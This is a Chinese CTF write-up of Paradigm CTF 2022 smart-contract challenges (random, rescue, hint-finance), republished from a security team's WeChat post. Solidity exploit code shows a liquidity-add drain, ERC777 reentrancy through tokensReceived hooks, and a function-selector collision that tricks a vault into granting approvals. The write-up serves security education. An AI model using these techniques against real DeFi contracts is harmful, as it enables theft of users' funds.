招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
random
解题
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/01.random/random.sol";
contract randomTest is Test {
Random public random;
function setUp() public{
random = new Random();
}
function test_Sloved() public {
random.solve(4);
assertEq(random.solved(), true);
}
}
rescue
分析
本题的任务:不小心将10WETH转到了合约masterchef中,我们需要将他归零。
合约中只有swapTokenForPoolToken()可以调用,它会将一个tokenIn传入,然后对半分换成poolId这个ID对应的池子中的两个代币。其实tokenIn的值只要不为0就可以,因为添加流动性的时候amountDesired设置成了masterchef拥有的最大代币数目,tokenIn的数量不与token0和token1挂钩。
function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
(address lpToken,,,) = masterchef.poolInfo(poolId);
address tokenOut0 = UniswapV2PairLike(lpToken).token0();
address tokenOut1 = UniswapV2PairLike(lpToken).token1();
ERC20Like(tokenIn).approve(address(router), type(uint256).max);
ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);
// swap for both tokens of the lp pool
_swap(tokenIn, tokenOut0, amountIn / 2);
_swap(tokenIn, tokenOut1, amountIn / 2);
// add liquidity and give lp tokens to msg.sender
_addLiquidity(tokenOut0, tokenOut1, minAmountOut);
}
masterchef添加流动性的时候是将整个合约拥有的代币设置进去,这就意味着,只要我们的token1够多,那么token0就会被归零。(原因是uniswapV2的添加流动性方法中,先是判断token1的数目够不够换token0)
function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
ERC20Like(token0).balanceOf(address(this)),
ERC20Like(token1).balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}
因此,我们选取一个币对池子中token0是WETH的,这样的话,只要我们拥有的token1足够多,就可以将WETH归零。
如果不好理解,那我举个例子: 由于不知道题目中的池子比例, 我们假设池子里有 WETH 和 USDT 各50个
WETH USDT 得到 k
池子初始 50 50 2500
输入 10 ? (这一步用于得到一定数量的USDT)
池子最终 60 2500/60 ~=42 50-42=8 2500
到手 0 8 (这里得到的USDT会给到masterchef)
masterchef 10 8
60 48 (此时48>42, 说明所需的USDT已经足够)
先判断amountDesired=10的时候USDT够不够, 算出来够, 因此会将10个WETH换成USDT, 多的USDT并不会转发 我们这题选取的token0是WETH(10个), 那么只要我们有大于比例的USDT就可以了
反正这题就是要保证10个WETH要被完全换出去, USDT可以不被全部换走,有点残留
同时, 本题中用于平分两半的token可以是任意数量, 因为masterchef会将所有的token0和token1作为amountDesired
解题
原题目题解如下:
contract Rescue {
UniswapV2RouterLike public router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
WETH9 public weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20Like public usdc = ERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IPair public usdcweth = IPair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
IPair public usdtweth = IPair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);
constructor() payable {}
function rescue(address setup) public {
// 获取误转入10WETH的合约实例
address target = ISetup(setup).mcHelper();
// 本合约获得11WETH,因为是1:1兑换
weth.deposit{value: 11 ether}();
// 向 USDT/WETH 池子转10WETH
weth.transfer(address(usdtweth), 10 ether);
// 向 USDC/WETH 池子转1WETH
weth.transfer(address(usdcweth), 1 ether);
// 获取池子的两个token的比例,reserveUSDT是池子中剩余的USDT数量,reserveWETH是池子中剩余的WETH数量
(uint112 reserveUSDT, uint112 reserveWETH, ) = usdtweth.getReserves();
// 用10个WETH换取若干个USDT
uint256 amount = router.getAmountOut(10 ether, reserveWETH, reserveUSDT);
// USDT/WETH 池子中,用WETH换USDT,结果是得到amount数量的USDT
usdtweth.swap(amount, 0, target, "");
// 获取池子的两个token的比例,reserveWETH是池子中剩余的WETH数量,reserveUSDC是池子中剩余的USDC数量
(reserveWETH, uint112 reserveUSDC, ) = usdcweth.getReserves();
// 用1个WETH换取若干个USDC
amount = router.getAmountOut(1 ether, reserveWETH, reserveUSDC);
// WETH/USDC 池子中,用WETH换USDC,结果是得到amount数量的USDC
usdcweth.swap(0, amount, address(this), "");
// 要授权,这样池子才能转走你的USDC
usdc.approve(target, usdc.balanceOf(address(this)));
// 1是指第一个交易对,即USDT/WETH,将USDC放入然后对半分
IMasterChefHelper(target).swapTokenForPoolToken(1, address(usdc), usdc.balanceOf(address(this)), 0);
}
}
由于比赛已经过了,没有环境给我测试,因此我将写个测试来演绎本题的原理,脚本放在GitHub仓库了
masterchef一开始拥有10WETH,我们需要将它归零,任何人可以调用它的addLiquidity来添加流动性 因此,我们打算用一种叫做COMP的ERC20代币,送给masterchef一定数量的COMP, 然后调用addLiquidity给COMP/WETH池子添加流动性,这样就可以将masterchef的WETH归零
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../interface.sol";
// 我们模拟题目:假设masterchef一开始拥有10WETH,我们需要将它归零,任何人可以调用它的_addLiquidity来添加流动性
// 因此,我们打算用一种叫做COMP的ERC20代币,送给masterchef一定数量的COMP,
// 然后调用_addLiquidity给COMP/WETH池子添加流动性,这样就可以将masterchef的WETH归零
contract rescurTest is Test {
WETH9 comp = WETH9(0xc00e94Cb662C3520282E6f5717214004A7f26888);
WETH9 weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
Uni_Router_V2 router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
Masterchef public masterchef;
function setUp() public {
vm.createSelectFork("mainnet", 16_401_180);
vm.label(address(comp), "comp");
vm.label(address(weth), "weth");
vm.label(address(router), "router");
vm.label(address(masterchef), "masterchef");
}
function test_setToZero() public payable{
// 此时masterchef合约拥有10WETH,我们需要将他归零
masterchef = new Masterchef();
weth.deposit{value: 10}();
weth.transfer(address(masterchef), 10);
// 用一个拥有COMP的账户给masterchef转1000的COMP,根据本区块中的币对比例,1000COMP完全可以换10WETH
vm.startPrank(0x2775b1c75658Be0F640272CCb8c72ac986009e38);
comp.transfer(address(masterchef),1000);
vm.stopPrank();
// 检查masterchef是否有10 WETH
assertEq(weth.balanceOf(address(masterchef)),10);
console.log("[before] WETH",weth.balanceOf(address(masterchef)));
// 检查masterchef是否有 1000 COMP
assertEq(comp.balanceOf(address(masterchef)),1000);
console.log("[before] COMP",comp.balanceOf(address(masterchef)));
// 添加流动性,这会使我们换走所有的token0,即WETH
masterchef._addLiquidity(address(weth), address(comp), 0);
// 检查masterchef的WETH是否为0,并且COMP会有剩余
assertEq(weth.balanceOf(address(masterchef)),0);
console.log("[after] WETH",weth.balanceOf(address(masterchef)));
console.log("[after] COMP",comp.balanceOf(address(masterchef)));
}
}
contract Masterchef{
Uni_Router_V2 router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
function _addLiquidity(address token0, address token1, uint256 minAmountOut) public {
WETH9(token0).approve(address(router),type(uint256).max);
WETH9(token1).approve(address(router),type(uint256).max);
(,, uint256 amountOut) = router.addLiquidity(
token0,
token1,
WETH9(token0).balanceOf(address(this)),
WETH9(token1).balanceOf(address(this)),
0,
0,
msg.sender,
block.timestamp
);
require(amountOut >= minAmountOut);
}
}
Logs:
[before] WETH 10
[before] COMP 1000
[after] WETH 0
[after] COMP 631
本例子中无论weth是token0还是token1,结果都是Logs那样。原因如下:1000个COMP可以换的WETH远多于10个,因此不会进入到if分支(此分支是用COMP换WETH),而是进入else分支,else分支则是用WETH换COMP
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
综上所述,token0和token1的位置不是非要token0是WETH,例子关键是让程序流进入到WETH换COMP的分支即可。回到题目,则是找到一个币对,然后让程序执行流进入到WETH换另外一个token即可,另外一个token需要足够多
hint-finance
分析
1.任务
这是一个主网的 fork,根据Etherscan可查询到三个underlyingTokens分别为:PNT,SAND,AMP。其中,PNT 和 AMP 都是 ERC777, SAND token 是一个 ERC20。
要求我们调用isSolved()函数成功返回true,即我们需要拿走金库拥有的underlyingTokens余额的99%
address[3] public underlyingTokens = [
0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
0xfF20817765cB7f73d4bde2e66e067E58D11095C2
];
function isSolved() public view returns (bool) {
for (uint256 i = 0; i < underlyingTokens.length; ++i) {
// 每一个underlyingTokens对应一个金库地址
address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
// 获取金库拥有的underlyingTokens余额
uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
// 我们需要拿走金库拥有的underlyingTokens余额的99%
if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) return false;
}
return true;
}
2.全局观
一共三个合约
-
Setup.sol -
部署题目,部署三个underlyingTokens,三个rewardTokens和创建三个金库,并且设置对应关系 -
HintFinanceFactory.sol -
创建金库 -
金库和 underlyingTokens 对应关系 -
给金库增加 rewardToken -
HintFinanceVault.sol -
存款,借款,取款,闪电贷 -
rewardToken 的信息(比如利率,可取数目)会随着时间变化,有点线性释放的味道 题目的类型很典型:存入一定数量的underlyingTokens 到金库,他会给你一些金库份额,然后取款underlyingTokens 的时候会额外给你一些rewardToken(当然是根据一些规则给你)。并且还提供了闪电贷来借用金库持有的任何token。
3.详细分析
三个underlyingTokens 分别为ERC777和ERC20,ERC777非常容易出错,ERC20也是问题经常出现
3.1ERC777
发现漏洞
ERC777存在钩子函数:转账代币的时候会调用发送方的_callTokensToSend()和接收方的_callTokensReceived()进行回调。这样就类比call()转账然后进入fallback()重入。
当然ERC777需要到ERC1820进行钩子注册
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
金库合约的存款和取款函数都没有重入保护,因此可以利用此钩子函数进行回调重入攻击
利用漏洞
// 存款,缺乏重入保护
function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) {
uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
// 4. totalSupply会远大于bal,因为bal是金库拥有的数量,而totalSupply是全部人拥有的量,
// 因为在withdraw的时候转给了攻击地址一大笔钱,但是totalSupply还没来得及更新,因此
// 下面式子中totalSupply和bal不变,计算出来的shares会比原来大很多.
// PS:注意它这样计算shares是为了线性计算用户存入token之后可以得到的份额,然后根据份额在取款的时候给利息
uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal;
// 5. 然后金库给攻击合约转 bal-1 的金额
// 注意此时的amount是(bal-1)/2,因此在调用钩子函数的时候并不会再次重入
ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount);
totalSupply += shares;
// 6. 但是金库却给我们记录了大了好多倍的金额
balanceOf[msg.sender] += shares;
return shares;
}
// 单个取款,缺乏重入保护
function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) {
// 1. 不用验证msg.sender是不是拥有shares这么多钱,因为不够的话会下溢,但0.8.0^会报错revert
uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
// PS:这里的式子是计算我们的shares占总totalSupply的百分比,然后获取金库一定比例的金额
uint256 amount = shares * bal / totalSupply;
// 2. 会给我们的攻击合约发送一大笔钱:bal-1
// 3. 然后进入到钩子函数,然后钩子函数又会调用到deposit()
ERC20Like(underlyingToken).transfer(msg.sender, amount);
// 7. 执行完钩子函数之后,我们将我们的余额减去bal-1,此时不会失败,因为我们的deposit()时给我们记录了好几倍的金额
totalSupply -= shares;
// 8.最后减去一小部分shares
balanceOf[msg.sender] -= shares;
return amount;
}
我们需要控制好回调函数的条件,什么时候重入什么时候停止重入。在这里,我们重入一次就好,重入一次就可以获得很大的shares。
// PNT的回调函数
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)external{
if (amount == prevAmount) {
console.log(" balance(vault)-1:",amount);
uint256 share = HintFinanceVault(vault).deposit(amount - 2); // 这样就不符合amount == prevAmount而再次重入了
console.log(" attack's share:",share);
}
}
// AMP的回调函数
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
)external{
if (value == prevAmount) {
console.log(" balance(vault)-1:",value);
uint256 share = HintFinanceVault(vault).deposit(value - 2); // 这样就不符合amount == prevAmount而再次重入了
console.log(" attack's share:",share);
}
}
最终扣除一笔小的share,但授权很大数目的shares,然后我们可以使用正常的withdraw()取钱即可
3.2ERC20
发现漏洞
针对 ERC20,有一种常见的攻击模式,即想办法使得 token 的 owner 给 hacker 进行 approve 操作,通常这是一种钓鱼手法,但是在很多支持 flashloan 的合约中,可以让合约来给我进行 approve。这样就可以在满足 flashloan 的前提下,即不直接拿走 vault 的 token,但是让其对 hacker 进行 approve 了。
所以本题的思路是:如何让 vault 合约作为 msg.sender, 调用 token 合约的 approve 方法。可以利用 flashloan 的 回调函数来实现,但是该 回调函数写死了,是onHintFinanceFlashloan(),并不是一个可以任意传的值,即不是address(caller).call(data)
SAND合约没有实现onHintFinanceFlashloan(),并且它的approve方法逻辑是正确的无可挑剔不可利用。但是认真找一下,它还存在这样一个父合约: ERC20BasicApproveExtension.sol,它有一个函数可以进行approve:
function approveAndCall(
address target,
uint256 amount,
bytes calldata data
) external payable returns (bytes memory) {
require(
BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
"first param != sender"
);
_approveFor(msg.sender, target, amount);
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(msg.value)(data);
require(success, string(returnData));
return returnData;
}
approveAndCall函数也会让调用者向对应地址进行approve,还会根据传入的data去target地址中调用相应的函数。如果我们能让Vault合约调用这个函数或者approve函数,即可拿到权限。看起来好像并没有能让Vault调用这两个函数的方法,flashloan中唯一存在的一个外部函数调用就是他自己的回退函数_onHintFinanceFlashloan。
函数选择器碰撞!但经过对比,发现approveAndCall和onHintFinanceFlashloan的函数选择器是相同的,也就是说,在flashloan()函数中由于函数选择器相同的原因,可以调用到approveAndCall函数,从而达到目的。也就是我们说的函数选择器碰撞
cast sig "approveAndCall(address,uint256,bytes)"
# 0xcae9ca51
cast sig "onHintFinanceFlashloan(address,address,uint256,bool,bytes)"
# 0xcae9ca51
利用漏洞
针对 calldata 进行编码时,要由外到内,首先编码出 approveAndCall() 中传入的参数
token应该是SAND合约
-
第一个参数是vault代表要调用vault中的函数 -
第二个参数是amount代表要授权给msg.sender的金额 -
第三个参数是data代表要调用vault中的某个方法 1
SandLike(token).approveAndCall(vault, amount, data);
这个 data 是调用 flashloan() 的 calldata,即 data 要满足flashloan(address token, uint256 amount, bytes calldata data)这个函数;则写成如下:
bytes memory data = abi.encodeWithSelector(HintFinanceVault.flashloan.selector, address(this), amount, innerData);
然后,在来查看 innerData 的编码方式,他需要同时满足onHintFinanceFlashloan()和approveAndCall()两个函数;将两个函数的参数对齐如下:
approveAndCall() | onHintFinanceFlashloan() | 偏移 |
---|---|---|
address target | address token | 0x20 |
uint256 amount | address factory | 0x40 |
0xa0(要告诉方法跳到innerdata那里) | uint256 amount | 0x60 |
0(对齐位置,补0即可) | bool isUnderlyingOrReward | 0x80 |
bytes memory innerdata | bytes memory data | 0xa0 |
因此,(第三行)这里的amount和factory就是授权给token 的金额,(第四行)而amount是要告诉方法跳到innerdata那里
接下来我们要编码innerdata。
function approveAndCall(
address target,
uint256 amount,
bytes calldata data
) external payable returns (bytes memory) {
require(
BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
"first param != sender"
);
_approveFor(msg.sender, target, amount);
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(msg.value)(data);
require(success, string(returnData));
return returnData;
}
function doFirstParamEqualsAddress(bytes memory data, address _address)
internal
pure
returns (bool)
{
if (data.length < (36 + 32)) {
return false;
}
uint256 value;
assembly {
value := mload(add(data, 36))
}
return value == uint256(_address);
}
根据代码我们可以得到:
-
data中的第一个参数必须是msg.sender,因为是金库调用的,因此第一个参数必须是金库的地址。 -
doFirstParamEqualsAddress()要求参数的长度必须大于或等于68,也就是说我们的参数至少是两个 -
innerdata必须是一个可以执行的方法,而且必须执行成功,那么我们可以让它来执行一个静态方法比如balanceOf() 因此编码可以得到如下:
bytes memory innerData = abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);
为了闪电贷执行成功,需要攻击合约实现balanceOf()和transfer()方法,因为闪电贷会执行token的这两个方法
function transfer(address, uint256) external returns (bool) {
// 在闪电贷方法中有一行: ERC20Like(token).transfer(msg.sender, amount);
// 因此攻击合约要实现这个方法进行伪装
return true;
}
function balanceOf(address) external view returns (uint256) {
// 在闪电贷方法中有一行: ERC20Like(token).balanceOf(address(this));
// 因此攻击合约要实现这个方法进行伪装
return 0;
}
5.授权成功后,就直接转账即可
SandLike(token).approveAndCall(vault, amount, data);
// vault approve给本合约之后,我们就可以用transferFrom进行转账了
ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));
3.3一些其他的限制
根据ERC777的规则,我们需要额外增加这些内容
// AMP合约中有一个这个东西:string internal constant AMP_TOKENS_RECIPIENT = "AmpTokensRecipient";
// 调用 ERC1820 注册表合约的 setInterfaceImplementer函数 注册AmpTokensRecipient接口实现(接口的实现是自身),
// 这样在收到代币时,会回调 tokensReceived函数
EIP1820Like(EIP1820).setInterfaceImplementer(address(this), keccak256("AmpTokensRecipient"), address(this));
// PNT合约中有一个这个东西:bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// 调用 ERC1820 注册表合约的 setInterfaceImplementer函数 注册ERC777TokensRecipient接口实现(接口的实现是自身),
// 这样在收到代币时,会回调 tokensReceived函数
EIP1820Like(EIP1820).setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));
解题
见GitHub仓库
https://github.com/chen4903/Paradigm-2022/tree/master/test/03.hint-finance
– END –
原文始发于微信公众号(ChaMd5安全团队):Paradigm CTF 2022 – random & rescue & hint-finance (上)